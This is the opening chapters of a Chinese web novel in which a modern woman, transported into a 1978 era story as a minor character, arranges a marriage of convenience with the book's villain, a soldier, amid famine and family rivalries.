《年代文路人甲嫁反派大佬》
1. 相亲
1978年初春,磨盘镇老街的国营饭店里,觅婉婉和觅鸿晖正目不转睛地盯着厨房的方向。
饭店做面食的地方在靠近厨房的门口,恰好能让外边的人窥见全貌。一口冒着热气的大铁锅前,身材高大的男厨师正忙碌地煮着馄饨。
“咕噜!”觅婉婉和觅鸿晖齐齐咽了一口口水,隔着老远都能闻到香味。
很快,服务员将蓝花碗放在了他们面前。碗里是浓如奶水的骨头汤,汤面上撒着翠绿的葱花。一颗颗包裹着指甲大小荠菜肉馅的馄饨沉在碗底,偶尔有几只浮上来的,像白玉一样卧在骨头汤池中。
两人二话不说拿起筷子就开始吃,咬开馄饨皮后被肉馅烫了一下“嘶嘶”吹气也不舍得放下筷子,吃得那叫一个狼吞虎咽,毫无形象。引得站在不远处的服务员都多看了他们几眼,两人却毫不在意,只专心埋头吃喝。
即便觅婉婉知道吃饭要细嚼慢咽才好,这会儿也顾不得了,一是这馄饨实在是太鲜美,尤其里头的荠菜,翠绿绿嫩生生的,简直鲜掉人舌头;二是这具身子被饿怕了,一见到食物根本控制不住。
各一碗馄饨下肚,两人瘫坐在椅子上,浑身散发心满意足的气息。
“姐,这边的馄饨真便宜,只要两毛五一碗。就是要票,咱们的粮票不多了,可不能这么吃了。”觅鸿晖摸着肚子,心疼地说。
觅婉婉笑:“咱们那边闹荒呢,粮食自然金贵。你呀,吃都吃了,就别心疼粮票,票没了以后再挣。”
姐弟二人来自现在闹饥荒最严重的丰县,十年的动乱尚未结束,加上天灾。村里即便是像荠菜这样以前随处可见的野菜,也基本看不见的,更别说肉了。
觅鸿晖张了张嘴,还想说些什么,觅婉婉已经起身往外走了,他只好暂时咽下嘴里的话。
“姐,你今天相亲怎么样?”
两人走了几分钟,回到落脚的招待所,觅鸿晖终于忍不住开口问她。
觅婉婉想到今天相亲的场景,笑了一下,“我觉得他挺好的。”
“他哪里好?”觅鸿晖问。
“他长得好呀!”觅婉婉脱口而出。
觅鸿晖一言难尽地看着她,“姐,爸妈说嫁汉嫁汉,穿衣吃饭,长得好看没用的。”
“起码每天看着能赏心悦目不是?明天再说吧,我跟他约好了再见。”觅婉婉心知谢宴清绝不止长得好看这么简单,但其中详情,她不能跟跟夏鸿晖说明。
半个月之前,觅婉婉加班猝死后来到这里,发现自己穿到一本年代文里,成了个平平无奇的路人甲。
唯一的记忆点大概是她在大反派谢宴清最落魄的时候背叛他,完成谢宴清黑化的第一步。结果在逃跑的过程中,失足跌落悬崖而死。
觅婉婉回忆书中对谢宴清的描述,阴鸷、手段狠辣、冷漠无情......再看他后来被赶出部队,众叛亲离,跌入泥潭却能东山再起,取得完全不亚于男主的成就。
她有理由怀疑,“觅婉婉”的死不是意外,怕是谢宴清的手笔。
如果有选择,觅婉婉是想离谢宴清远一点的。偏偏觅婉婉的父亲觅贺军在青城修铁路的时候遭遇塌方没了,母亲刘翠芬本就体弱多病,如何能受得了这样的变故。撑了一个星期跟着丈夫去了,留下觅婉婉和觅鸿晖姐弟俩。
铁路工人的活觅婉婉干不了,铁路局派人来说可以让觅鸿晖顶替觅贺军的岗。如此一来,就剩下觅婉婉一个人在村里没着落了。
屋漏偏逢连夜雨,村里闹了三年饥荒,已经陆陆续续有人连草根树皮都啃上了。粮食金贵,即便有觅父的抚恤金,也是撑不了多久的。
更何况觅婉婉一个十八岁的姑娘孤身一人在村里,就算有粮,也是保不住的。
觅鸿晖倒是提出要带着觅婉婉一同去工作,可铁路局的建造工人都是男的,住集体宿舍不说,一段铁路修好了,便得换地方。觅婉婉去了,多有不便。
如今改革开放的政策尚未提出,出门需要介绍信,她暂时不能出去找工作,也没办法离开村子。等政策下来还有半年多的时间,她怕是活不到那时候。
思来想去,不如来军区找谢宴清结婚,他们自幼订的娃娃亲,总归是条出路,比在村里饿死强。
至于以后的事情,以后再说。觅婉婉不是杞人忧天的性子,只要活着,明天总是有盼头的。
不过,想到今天上午觅婉婉热情推荐自己,谢宴清依旧一脸冷漠的样子,她有点怀疑这条路走不走得通。
军区家属院的小道上,一个胖胖的圆脸盘中年妇女领着个十几岁姑娘一边走,一边叮嘱着。
“一会儿到了人家家里,一定要会看脸色,勤快点,眼里要有活,知道吗?”
那十几岁的姑娘正是觅婉婉的堂姐,觅桂兰。他们家看觅贺山两口子都亡了,觅鸿晖眼看着要去青城顶工。到时候剩下觅婉婉一个孤女,少不得求他们家庇佑,他们也好趁机拿捏,毕竟他们听说觅贺山的抚恤金可不少呢。
可谁知觅婉婉不按常理出牌,竟然直接去村里开了介绍信,说要来磨盘镇的军区结婚。
觅庆山当即立断,让大女儿觅桂兰也过这边来寻亲。他有个表妹叫钱金莲,二十年前嫁给了这边的军人,如今算是站稳了脚跟。
觅桂兰过来,一是监视觅婉婉,若是觅婉婉结不成婚,正好趁机拿住她;二是打着让她姑姑给介绍个军人做对象的主意,觅桂兰比觅婉婉还大半岁,今年十九了。
“姑姑,我知道了,一会儿我会好好表现的。”觅桂兰急忙保证说。
就算钱金莲不说,觅桂兰一会儿也会使出浑身解数表现的。军人每月发的工资、粮票、布票什么都不少,还有食堂可以吃,如果能嫁给这边的军人,觅桂兰是绝不愿回村子里找对象的。
见她听话,钱金莲满意地点了点头。同时脚下生风,快速朝着东南方向走去,心里乐着呢。觅庆山可是说了,这亲事要能成,为表感谢,觅桂兰的彩礼就归她了。
这军区别的没有,光棍汉是一点不缺。加上觅桂兰长得不差,五官端正,年轻苗条,干活勤快,不愁找不着对象。
与此同时,觅桂兰前方迎面走来两个男人,皆是身材高大,英挺不凡,区别是其中一人粗壮如牛,另一人则精瘦有力。
觅桂兰先看向了粗壮的那一位,只见他皮肤黝黑,国字脸上浓眉大眼,咧着一口白牙看向旁边的人,不知在笑什么。
顺着他的目光看向另一人,觅桂兰瞬间被吸引了心神。这人穿着白色衬衫、绿色的军裤,衬衫压在军裤下面,用腰带一扎,显现精瘦的腰身,更突出身材比例的优势。与粗壮男子相比,这人明显腿长了许多,觅桂兰形容不出来,就觉得他的身材更好看。
脸就更好看了,五官深邃,眼睛带点灰色,冷酷的气质不仅没有让他看起来失色,反而增添了几分野
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性,整个人看起来又纯又野。
“桂兰,你看什么呢,快点!”钱金莲看她突然站在那不走了,回过头喊她。
觅桂兰被这一喊回了神,这才发现那两人已经越过她走了一段路了,她赶紧小跑着追上钱金莲。
“姑姑,刚刚那个长得很好看的......”
“你们这些小姑娘,到底是年轻,见着个长得不错的小伙子连道都走不动了。”不等觅桂兰说完,钱金莲打断她。“男人长得好看有什么用,尤其是这位,你要是嫁了他,这辈子可就完了。”
“具体的情况,我回去再跟你说,你打起精神来,咱们快到了。”知道觅桂兰必然好奇,钱金莲也没打算瞒她。
觅桂兰又回头看了那个背影一眼,这个男人,可不止是长得不错,简直是惊为天人。她长这么大,还是头一次看到长得这么好看的人。
四人各走一边,往西北方向走的两位男人没有回头,自然也没注意到觅桂兰的目光。
王丘雨大大咧咧撞了一下谢宴清的胳膊:“是不是好兄弟了,我都问你一路了,你嘴怎么比鸭子还硬呢。”
“不是。”谢宴清离王丘雨远了点,吐出两个毫无感情的字。
“嘿!你这人!”王丘雨并不放弃,跟着谢宴清进了宿舍,“我说,那姑娘是外地来的,大概不知道你的情况,你不如......”
谢宴清冷冷地看着他,王丘雨说不出话来了,尴尬地挠了挠头,“不是,你总是要找对象的吧。你天天摆着个死人脸,加上大家都知道你家里的事,你听我一句,这姑娘真是不错的选择。”
见谢宴清自顾自地端盆、打水洗脸,王丘雨急了,“好歹是你外公给定下的娃娃亲,就算那姑娘长得难看了点,看在外公的份上,你就接受了吧。”
谢宴清端盆的手顿住了,“谁告诉你那姑娘长得难看?”
“再好看的姑娘能有你好看?既然没有你好看,就是难看了。”即便王丘雨觉得一个大男人,长得再好看也没用,他也不能不承认,谢宴清这惊艳的脸,怕是没有姑娘能比得过。
谢宴清微微摇了摇头,王丘雨没看见,一心说服他,“知道你不愿意做欺瞒人家的事情,那你诚心一点,说不定人家姑娘就不介意,愿意跟你结婚呢。”
“你又知道人家不愿意?”谢宴清洗好脸,摆放好毛巾,随口接了一句。
“谁家姑娘嫁人光看脸啊,不然你也不能拖到现在没结婚。”王丘雨唉声叹气。
“这姑娘很有意思。”谢宴清终于大发慈悲地说起了相亲的事。
王丘雨立马来了精神,凑到他跟前:“怎么个有意思,快说说!”
“她给了我一天时间想清楚要不要履行婚约,不履行的话,作为补偿,我得给她介绍个对象。”谢宴清打开被子铺在床上,毫无感情地回答。
“什么?!”王丘雨傻眼了,整个人如遭雷击,“宴清,你怎么想?”
谢宴清往床上躺下,摆出标准的睡姿,闭上眼睛,“明天再说,睡觉,下午训练。”
训练最重要,压下心中的一百个不可置信,王丘雨往外走,回自己的宿舍。
听不到脚步声后,谢宴清睁开眼,深邃的眼眶中,灰色的眼睛琥珀般闪闪发光,冒出一张夺目的笑脸。
“你缺老婆吗?肤若凝脂、清纯貌美的那种。”
这句话,谢宴清没有告诉王丘雨。
2. 飞了
翌日清晨,恰是磨盘镇赶集的日子,觅婉婉早早起床出来凑热闹,顺便买点东西,主要是菜。
他们住在招待所,每日房钱便要三元,加上路费什么的,两人过来这段时日,已经花了三十元,自然不能顿顿下馆子吃饭。
好在觅婉婉给招待所的服务员塞了两块钱,每日借招待所的厨房做饭,倒是可以省下不少钱。
在觅婉婉的印象中,上一次赶集,已经是很久远的事情了。大概是四五岁的时候,爸妈推着凤凰牌的自行车,而她坐在自行车的车加上,眉开眼笑地吃着红虾酥。
红虾酥口感偏硬,最外边是乳白色的,里边的糖果夹杂着花生碎,吃着有一种花生酥的口感,但比花生酥香甜。觅婉婉关于童年最深刻的记忆,就是香甜的花生酥。
磨盘镇的集在镇东边的一条江上,江上搭着一条三米宽的浮木桥,将被江隔成两半的镇连接起来。小商贩们在桥上摆上桌子,桌子上放满各种各样的货物。
镇上农户们的摊子就简单多了,人往桥上一坐,面前摊一块碎布,摆上自家编的草鞋、篮子等手工物,或是放点山里摘来的香椿、蕨菜等野菜。
也有少许卖自家种的蔬菜的摊子,不过并不多,这年头镇上大多数人家都会在自家院子或附近找块地开垦菜田,解决自家所需的瓜果蔬菜。只有少数家中富裕或是工作繁忙、家中又无长辈帮衬的双职工才需要外出买菜。
觅婉婉花五分钱买了三根茄子,又买了把香椿和蕨菜。前世久居都市,寻常是吃不到这种刚从山里摘下来的新鲜野菜的,如今正好吃个够,几分钱一大把。
浮桥上人来人往,觅婉婉穿梭其中,很快就见到了童年记忆中熟悉的红虾酥。卖红虾酥的是个圆脸圆眼睛的精神小伙,笑着招呼觅婉婉:“姐,玉城食品厂刚做出来的红虾酥,新鲜热乎着呢,要不要来一斤尝一尝?”
“多少钱一斤?”觅婉婉一边问,一边捏起一块红虾酥轻轻捏了一下,红色的糖纸微微凹陷进去少许。
“姐,玉城食品厂出厂的糖果可是出了名的好,一块钱一斤,您买回去吃了保准叫好!”精神小伙卖力地推销说。
觅婉婉笑了笑,却放下了手里的红虾酥。
“又是你在这冒充玉城食品厂的人卖糖!”
身后响起一道清脆带着明显骄横的女声,觅婉婉回头一看,只见那女子穿着红色尖领衬衫长裙,脚上蹬着白色羊皮尖头小高跟鞋,在一片黑白蓝灰的人群中分外瞩目。
除了衣着之外,此人相貌气质也不俗,即便是在这种生气时杏目圆睁的情况下,精致的五官依旧夺人眼球。她旁边跟着个穿碎花衬衫、深蓝色裙子的同龄小姑娘,相比之下样貌就普通了很多。
那卖糖的小伙一见到她,笑脸立马变成了苦瓜脸:“我的姑奶奶,怎么又是你啊!”
女子不高兴道:“请叫我大小姐,还有,你怎么还在这卖假糖?上次我就警告过你,别在我们玉城卖糖了,回你们溪城去。”
觅婉婉惊讶地看着女子,如今政策尚未放开,这人竟然敢在大街上让人叫她大小姐,不知是什么来头。
小伙把糖往柜子里一收,推着车就走:“走走走,我这就走。”
见那小伙子走了,女子蹬着高跟鞋,细跟踩在桥中的木板上,发出噔噔噔的响声。她昂首挺胸地走到觅婉婉面前,居高临下地看着她说:“喂,那人是溪城食品厂的,他们厂的红虾酥做的难吃死了。碰见本小姐算你运气好,不然你买了肯定后悔。”
她神情高傲,语气不善,但人好歹是为自己出头,觅婉婉不是不识好歹的人,发自内心地道谢:“是,多谢大小姐。”
女子见她态度好,有些高兴,摆摆手:“不用客气,我爸是军区的参谋长,我作为她的女儿,最见不得欺压人民的事情,这是军区子弟该有的觉悟。你记好了,本小姐叫杨月苓。”
杨月苓,听着好熟悉的名字,觅婉婉先在原身的回忆中搜索了一下,记忆中并没有这个人。此人是军区家属,却一副小姐做派,且在特殊时期能安然无恙至今,其中缘由引人探究。
此时,跟在杨月苓身边的姚红桃脸上浮现不耐,却又不敢言语,只得东张西望。不知是望见了什么,姚红桃激动地拉住杨月苓,手指着浮桥尽头说:“月苓,你看,是顾宁阳!”
杨月苓眼睛一亮:“走,我们去找阳哥哥。”
两人朝浮桥的尽头走去,觅婉婉回过神,犹豫了一瞬,跟了过去。顾宁阳这个名字,觅婉婉是很熟悉的,书中的男主,反派大佬谢宴清对付的就是他。
浮桥南边的路口热热闹闹地围了一群人,姚红桃奋力地拨开人群,帮杨月苓挤了进去,觅婉婉见缝插针,跟在她们后面也走到了人前。
“阳哥......”杨月苓的另外一个哥字在见到眼前的场景后断在了嘴里。
觅婉婉看向人群的正中央,此时一个穿军装的清秀男子和一个穿着补丁的方脸男子正互相揪住对方的领子怒目而视,而他们旁边站着一个穿白色褂子的女子,眼中含泪,楚楚可怜,神情倔强。
“我妹妹的清白就这么被你毁了,你说!你要怎么负责?”白良平愤怒地喝道,眼睛红红地望着顾宁阳,都快喷出火了。
顾宁阳半点不示弱:“毁什么清白?我根本没碰她一根手指头,是你们故意设圈套来碰瓷的吧!”
闻言,白霜儿落下泪来,上前拉住白良平:“哥,我跟他什么事也没有。”又转身对顾宁阳道:“我对你不敢兴趣,请不要自作多情。”
顾宁阳不得劲了,“什么叫我自作多情......”
“你设计我阳哥哥不成,现在还倒打一耙,你这人真是坏透了!”不等顾宁阳说完,杨月苓就雄赳赳、气昂昂,斗鸡一般进入了战场。
“你、你们简直欺人太甚。”白霜儿哽咽说。
“分明就是勾引人的婊/子,在这装什么白莲花?”姚红桃跟在杨月苓后面,面露鄙夷地说。
这话说的难听,白良平和白霜儿听了都捏紧拳头。
“就是个意外,你们怎么这么麻烦呢,别放在心上不就不得了。”不知为什么,听到姚红桃骂白霜儿骂得难听,顾宁阳心里有点不舒服,不耐烦地说。
听着他们的对话,觅婉婉确定了。这一男一女就是原书的男女主,她看见的这一幕,是男女主阴差阳错在山洞中过了一夜,名声被毁的情节。
随后,男女主先婚,经历各种狗血、误会、波折后相爱。而杨月苓就是书中的骄纵恶毒女配,姚红桃是女配的小跟班。
“阳哥哥!你怎么还帮她说话?难道,你喜欢上这个乡巴佬了?”杨月苓不满地声音将觅婉婉拉回现实。
她略一思付,走到白霜儿身边,指着她的篮子说:“你这蘑菇真新鲜,今儿一早捡的吧?我今天在山洞里碰见你的时候还不见呢。”
白霜儿愣愣地看着她,似乎不明白她在说什么,觅婉婉俏皮地眨了一下右眼。
“是呢,正新鲜着呢,你要不要?”很快,白霜儿反应过来,将篮子递给觅婉婉。
“等等,”杨月苓踩着小高跟过来,“你今天早上在山洞见过他们?”
问完,杨月苓紧张地盯着觅婉婉,既期待从她口中听到答案,又不愿听到自己不想听到的答案。
觅婉婉微微一笑:“是啊,我早上想去山上找点香椿蘑菇什么的野
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菜。这不人生地不熟的,什么也没找着,只能来这买了。”
“我在山洞碰见这位姑娘的时候,都没看见这位男同志呢,想必他们隔的远着呢。”眼看杨月苓着急地想问些什么,觅婉婉适当地补充道。
“你去过我们在的山洞?我怎么没见过你?”顾宁阳疑惑道。
觅婉婉看了他一眼,没有说话。
白霜儿把蘑菇都倒在觅婉婉的篮子里,“我们虽说在同一个山洞,可那个山洞大,我们隔着几十米呢,你当然不知道。”
听到这里,白良平也反应过来,大声说:“既然有这位姑娘作证,足以说明他们两个什么事都没有。霜儿,咱回家吧。”
说着,在顾宁阳错愕的表情中,白良平拉起白霜儿就走。
“谢谢你为我作证,这些蘑菇就当是谢礼了。”白霜儿一边走,一边回头对觅婉婉说。
觅婉婉微笑着点点头,表示同意。
人群见没有热闹可看,很快散去。顾宁阳一口气憋在胸口,愤愤地走了。
杨月苓本想追着他去,想了想,拉着觅婉婉到一边,“你早上真的上过山?”
“没有呀,我看他们像什么也没发生的过的样子。况且,他们两个都不乐意不是吗,何必强求呢。”觅婉婉坦诚道,并不隐瞒她。
杨月苓更加高兴:“当然了,阳哥哥才不会喜欢她呢。”
“就是,那就是个土包子。”姚红桃在一旁帮腔。
觅婉婉收敛起笑容,她本意是想让白霜儿在婚姻上能有选择,并不觉得白霜儿配不上顾宁阳。
况且,从书中白霜儿的发展来看,她不仅不比顾宁阳差,反而是婚姻和爱情阻挡了她发展事业。
“姚红桃,你先回去吧,本小姐今天不想逛街了。”杨月苓第一次觉得旁边的人有点吵,于是说。
“可是...可是...”姚红桃可是了两句,最终还是没说出口,灰溜溜地回去了。
每次陪杨月苓逛街,她都能得到不少好处,只要她说想要什么,杨月苓基本上都会帮她一起买了。
都怪这个突然冒出来的人,姚红桃恶狠狠地瞪了觅婉婉一眼。觅婉婉莫名其妙,对这突如其来的恶意选择无视。
“喂,你叫什么名字?”杨月苓问她。
“觅婉婉。我今天买的新鲜香椿、蕨菜和蘑菇,你想不想跟我回去尝尝鲜?”她本想就此回招待所,灵机一动,对杨月苓发出了邀请。
家中不缺吃食,可觅婉婉手中的鲜味却勾起了杨月苓的兴趣,“你打算怎么做?”
“香椿炒鸡蛋、凉拌蕨菜,再用新鲜蘑菇打个瘦肉汤。”觅婉婉一样一样数道。
“好,我来买鸡蛋和瘦肉。”杨月苓一口答应下来,完全没意识到觅婉婉说的瘦肉汤有什么问题。
如今这个年代,猪肉珍贵,又要肉票,大多数人都是吃五花肉的,因肥肉能熬油,可以省下一笔买油的钱和票。
一路上,觅婉婉和杨月苓说了家里闹饥荒的事,又说了来军区相亲的事。
走到招待所门口的时候,刚好说到昨日相亲的事。
“你放心,军区单身的小伙子可多了,像我爸的司机小王就很精神,又有开车的技术,回头我把他介绍给你。”杨月苓保证道。
觅婉婉笑笑:“那就多谢大小姐了。”
蹲在招待所门口的王丘雨正目不转睛地盯着觅婉婉看,不敢相信眼前这个漂亮到不像话的小姑娘就是哥们谢宴清的相亲对象,惊艳不到一分钟,接着就被杨月苓的话五雷轰顶。
他“蹭”地起身,一路狂奔回军区宿舍,推开谢宴清的宿舍门就喊:“不好了不好了!你对象要飞了!”
3. 自荐
谢宴清正在收拾床铺,听到王丘雨的话,不慌不忙地继续叠方被子。
王丘雨见他身形不动,走近了点,几乎凑在在他耳边,着急地说:“我说的可是真的,本来我想去招待所看看你那个相亲对象长什么样的。”
“结果,”王丘雨顿了顿,“招待所的人跟我说她出去买菜了,我就蹲招待所门口等。见到人,也不知道她怎么认识的杨月苓,正跟她说要介绍她爸的司机小王给她呢。”
谢宴清叠被子的手停顿了一下,又继续收拾枕头,“司机小王比我强。”
“那姑娘长得跟天仙似的,小王是不错,但相貌普普通通的,天仙当然是要跟天仙站在一起才登对。”王丘雨急得直挠头,憋了半天,来了这么句。
谢宴清的嘴角微不可查地翘了一下,不过他背对着王丘雨,王丘雨也看不清他的表情,急得团团转。想再说点什么,偏他又嘴笨,绞尽脑汁也再说不出什么来。
“我知道了,这事我会看着办的。你先回家去,你爸的腿伤了,你妈一人忙不过来。”谢宴清收拾完毕,转身对王丘雨道。
王丘雨一拍脑门,都快中午了,他妈一个人又要做饭又要伺候他爸,肯定忙不过来,得赶紧回家。
随即又想到,要不是因为他们家这档事,谢宴清的名声也不会变得糟糕头顶,临走补充了一句:“阿清,我看得出来,你对这个娃娃亲对象印象不错。顾军长给你介绍了那么多对象,你眼皮都不带眨一下的。好不容易碰到个合适的,你一定要争取啊。”
谢宴清古井无波的眼眸中闪过一丝波澜,很快又被长长的睫毛掩去。
磨盘镇招待所,杨月苓小口小口地喝着最后一点蘑菇瘦肉汤,放下碗后,又小心翼翼地把盘子里最后一点香椿蛋屑吃耗尽。
觅鸿晖看了一会儿,对觅婉婉说:“姐,这是咱们老乡?”
吃东西的架势跟他们姐弟俩是一模一样,不过,看她衣着打扮、周身气质,又像是有钱人家的姑娘。
“本小姐从出生就在这里,谁跟你是老乡!”杨月苓瞪他。
觅鸿晖求助地看着觅婉婉,觅婉婉笑说:“忘了给你介绍了,这位是军区参谋长家的大小姐杨月苓。”
杨月苓昂起了高贵的头,觅婉婉悄悄朝觅鸿晖使了个眼色。
“原来是参谋长的女儿,难怪如此气质不凡,刚才是我眼瞎了!”觅鸿晖立即会意,斩钉截铁道。
“算你有眼光。”杨月苓脸色乌云转晴,又打量了一番觅婉婉,略带嫌弃,“你穿得也太老土了,走,本小姐带你去买条好看的裙子。”
拉起觅婉婉就走,觅鸿晖只好跟着走。原以为杨月苓是带她去镇上的供销社买,没想到直接来到了县城的百货商店。
玉城的百货商店不算大,700平方米,三层的小楼。麻雀虽小五脏俱全,里面却是样样都全的。
杨月苓显然是经常来逛,售货员一看见她就热情地推销:“杨小姐,这是今天刚进的皮鞋,黑色小高跟,最适合您了。”
杨月苓拿起鞋子看了看,大手一挥:“帮我包起来。”又指了指觅婉婉,“给她挑一双好鞋。”
“哎!好的,杨小姐。”说着,售货员拿出一双白色的五厘米粗羊皮高跟鞋给觅婉婉。
觅婉婉也不矫情,收了鞋,帮杨月苓拎东西,一路陪逛。杨月苓试什么,觅婉婉都一顿夸,情绪价值给满。
等杨月苓买完,觅婉婉姐弟俩已经帮她提了大大小小十几包东西了。作为奖励,杨月苓送了觅婉婉一条天蓝色的裙子,配白色羊皮高跟鞋正好。
回到磨盘镇后,杨家便派了人来接杨月苓,“明天中午来我家吃饭,我给你介绍司机小王。”
扔下这么句话,杨月苓坐上吉普车扬长而去。
觅鸿晖风中凌乱,“姐,你出去不到一个上午,从哪认识的这号人物?”
“偶然遇见的,贵人。”觅婉婉笑了笑,两人往招待所走。
天都快黑了,谢宴清到现在都没出现,想来是对自己的建议没有兴趣。觅婉婉自然要另谋出路,有杨月苓帮她牵线,不论是结婚还是在这边找个工作先定下来,想必都不是问题。
令觅婉婉没想到的是,一进招待所,觅桂兰竟然在等她。
“婉婉,你去哪了?这是去买衣服了,给我看看。”觅桂兰自然地跑过来,想打开觅婉婉手中的袋子,好像她们是很熟的姐妹一样。
觅婉婉敏捷地躲开觅桂兰的手,“堂姐,有事吗?没事我要回房了。”
往常觅桂兰在觅婉婉这要是碰了钉子,铁定发脾气,今天却一反常态,“婉婉,都是亲戚,这么生分做什么。我有个姑姑在这边你知道吧,听说你那个娃娃亲对象没看上你,我特意求姑姑给你介绍了个对象。”
觅桂兰无事献殷勤,觅婉婉不想搭理她,“用不着,借过。”
“婉婉,这人真不错,今年二十六,在部队是个班长,人也长得精神。你的娃娃亲对象黄了,总要在考虑以后吧。”觅桂兰见觅婉婉就要走,忙说。
“是个班长?”觅鸿晖听了,不由好奇道。
觅婉婉盯着觅桂兰看了一会儿,“你来军区,是找你姑姑给你对象的吧?”
言下之意,这人那么好,你自己怎么不要。觅桂兰眼神中闪过一丝心虚,很快又振作起来,“我们是姐妹,我这个做姐姐的,自然是要让着妹妹的。”
觅婉婉意味不明地笑了下,笑的觅桂兰的怒火都要压不住了。她从小就讨厌觅婉婉,她长得漂亮,人缘好,最重要的是
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,觅婉婉的爸妈宠着她,觅婉婉就像是一朵娇花。
不像自己,身为长女,从小就要洗衣做饭、照顾弟弟妹妹。好在,上天是公平的,觅婉婉的爸妈死了,她这朵娇花也该跟自己一样,遭受风雨的磋磨了。
“咳咳~”
招待所门口传来两声咳嗽,三人齐齐往门口看去,谢宴清左手提着一袋子苹果、一包印着玉城食品厂桃酥字样的纸包,右边身子慵懒地倚靠在门框上,就那么静静地看着他们。
觅鸿晖见他穿着白衬衫和军裤,琢磨这不会就是觅桂兰说要介绍的对象吧,长得真不错,配他姐,就是不知道人怎么样。
觅桂兰昨天刚刚见过谢宴清,一眼就认出他来了,不知道为什么有些激动,“同志,你...你...”
只有觅婉婉心有所感,走到他面前,“你来接受我的建议?”
谢宴清琥珀般的眸子注视着她:“不,我是来自荐的。你缺老公吗?身高腿长,俊美如仙的那种。”
觅婉婉被他的回旋镖打的噎了一下,再看谢宴清从未起过波澜的眸子明显泛起笑意,觅婉婉不禁有些羞恼,瞪了他一眼。
“你不是说,他没看上我姐吗?”这边觅鸿晖反应过来,质问觅桂兰。
觅桂兰由一开始见到谢宴清的激动,到听到谢宴清自荐时的惊讶、失落,再到觅鸿晖质问的难堪。情绪像过山车一样起起伏伏,最终憋出一句,“我是听我姑姑说的。”
实际上,钱金莲说的是谢宴清这个人,眼高于顶,仗着有顾军长做靠山,在军区把谁都不放在眼里。
至于对象,钱军长的夫人石小萍给他介绍了不知多少个了,一个都没成。这样高傲的人,不会遵从老一辈定下的娃娃亲,更不可能看上觅婉婉这种乡下来的姑娘。
结合昨天的一面之缘,谢宴清看起来确实不好相处的样子,觅桂兰才敢跑过来信誓旦旦地说谢宴清看不上觅婉婉。
谁能想到,她刚说完,谢宴清就跑过来自荐,打得她脸疼。、
觅婉婉没有管觅桂兰作何感想,率先走出招待所,“你跟我出来一下。”
谢宴清跟着走出招待所,两人在外边拐角处停下来。
“为什么突然上门?”觅婉婉问,她昨天就看出来了,谢宴清根本没有想结婚的意思,不过是争取一下罢了,谁成想这人还真来了。
“你需要老公,我需要老婆,不是正好吗?”谢宴清淡淡地反问,又恢复了没什么表情的样子。
意思他们结婚只是合作关系,没有其他。恰好,正是觅婉婉想要的,“行,我考虑一下。”
“嗯。”谢宴清没什么意见,将手里提着的苹果和桃酥给她。
走了几步,突然回头问:“你会去见司机小王吗?”
4. 原因
“见呀。”觅婉婉不明白他为什么突然问起这个,仍坦诚回答说。
杨月苓好心给她安排,觅婉婉当然会去见一面。不过大概率不成就是了,她又不是真的想结婚,只是想拿结婚当挡箭牌,度过半年特殊时期。
等政策一放开,她就能去过自己的生活。靠着自己这双手,觅婉婉相信自己能把日子过好。
谢宴清点点头,没再说什么,沉默地走了。
等他走了老远,觅婉婉才想起一个问题,谢宴清是怎么知道自己要去见司机小王的?
觅婉婉没有多想,知道便知道了。
“你怎么还在这?”回到招待所,觅婉婉见觅桂兰没走,惊讶地问。
觅桂兰上前,将觅婉婉拉到一边,“婉婉,你听我说,谢宴清这个人不能嫁。”
若是他们堂姐妹以前的关系好,觅桂兰做出这幅我为了你好的样子来,觅婉婉也就信了。
可在原主的记忆中,觅桂兰对觅婉婉一直是敌视的,两人关系从来就没好过。
“怎么个不能嫁法?”
觅婉婉带笑问她,仿佛已经看穿她的心思。觅桂兰略微有些不自然,“你初来军区不知道,谢宴清可谓是整个军区最不能嫁的人了。”
“姑姑跟我说,上个月,他就把镇上棉纺厂的一个工人的腿给踩断了,就用脚活生生给人踩断的。”觅桂兰脸带惊恐地说,接着又神秘兮兮,放低了声音,“不仅如此,他家成分还有问题,入伍好几年了,一直没升职。”
踩断腿这种事,倒像是反派谢宴清能做出来的事,毕竟他就是这么个心狠手辣的人设。但家庭成分的问题,觅婉婉并不清楚。
也许是作者没有过多地写反派,也许是觅婉婉忘记了。
“我知道了,谢谢堂姐,堂姐早点回军区吧。”纵然心中有疑问,觅婉婉也不会选择问觅桂兰,客气地将人请走。
觅桂兰只好不情不愿地走了,觅婉婉提着苹果和桃酥上了招待所的二楼,回到房间。
“姐,你真的要跟那个谢宴清结婚吗?”觅鸿晖看到觅婉婉手中的苹果和桃酥,担心地问。
觅婉婉了然,觅桂兰对她说的那些话,想必也跟觅鸿晖说了。
“我要考虑一下。不过,鸿晖,一个人如何,不能光听别人说,须得自己亲自判断。”正是因为如此,觅婉婉不因书中所描述的谢宴清而对他有任何的看法。
谢宴清如何,这本书中的其他人如何,须得觅婉婉亲眼看到、接触过,她才会产生自己的判断。
不然,仅凭书中所述,或是他人所说,便随意地断定一个人如何,不是太没有自我了吗?
觅鸿晖愣了一下,似乎在体会觅婉婉所说的这句话,随后混沌的脑海中似乎清醒了一点,“是啊,觅桂兰这个人就不可信,她说的话也未必是事实。”
“好了,咱们随便吃点东西早点睡吧,明天上午还要去杨小姐家呢。”觅婉婉一边说,一边拿在县城买的馒头下楼下厨房去热。
吃过晚饭后,觅婉婉很快将今天发生的事情抛之脑后,沉沉地睡了一觉,醒来又是精神抖擞的新一天。
等吃过早饭后,就有个穿军装的年轻人来招待所寻她,说是杨月苓派他来接觅婉婉去家里的。觅婉婉确认了他的身份后,就去镇上买了包红糖,又拿上昨天谢宴清带来的桃酥,便跟着人往军区大院走。
军区大院在离磨盘镇不远的山脚下,背靠大山,前面是宽阔的玉河。大院的前面修了一条水泥路,觅婉婉提着桃酥和一包红糖,脚步轻快地跟着一个年轻军人往杨月苓家去。
觅鸿晖有些胆怯,颇有些不安地张望,“姐,我第一次见大官呢。”
“大官也是人,况且我们又不在人手底下做事,上门做客而已,放平心态。”觅婉婉拍拍觅鸿晖的手臂,悄声安抚他。
初出茅庐的青年,带着对陌生世界、人的不安和忐忑。从这一方面来说,原身和觅鸿晖的父母把他们保护的很好。觅婉婉很久很久以前,就没了这份不安和忐忑。、
见她脸上全是沉着和冷静,觅鸿晖后知后觉地发现,他姐好像跟以前不同了。明明以前胆子比他还小呢,再想到父母去世之后发生的种种事情,觅鸿晖又觉得,他姐有些变化也正常。
低沉了几秒后,觅鸿晖打起精神,挺起胸膛,不再东张西望、忐忑不安。他姐已经往前走了,他不能一直在原地踏步。
到杨家后,觅婉婉一眼就看到了站在门口的杨月苓,她今天穿着橙红色的长裙,外边披一件米白色的毛衫,亭亭玉立地站在那里,吸睛极了。
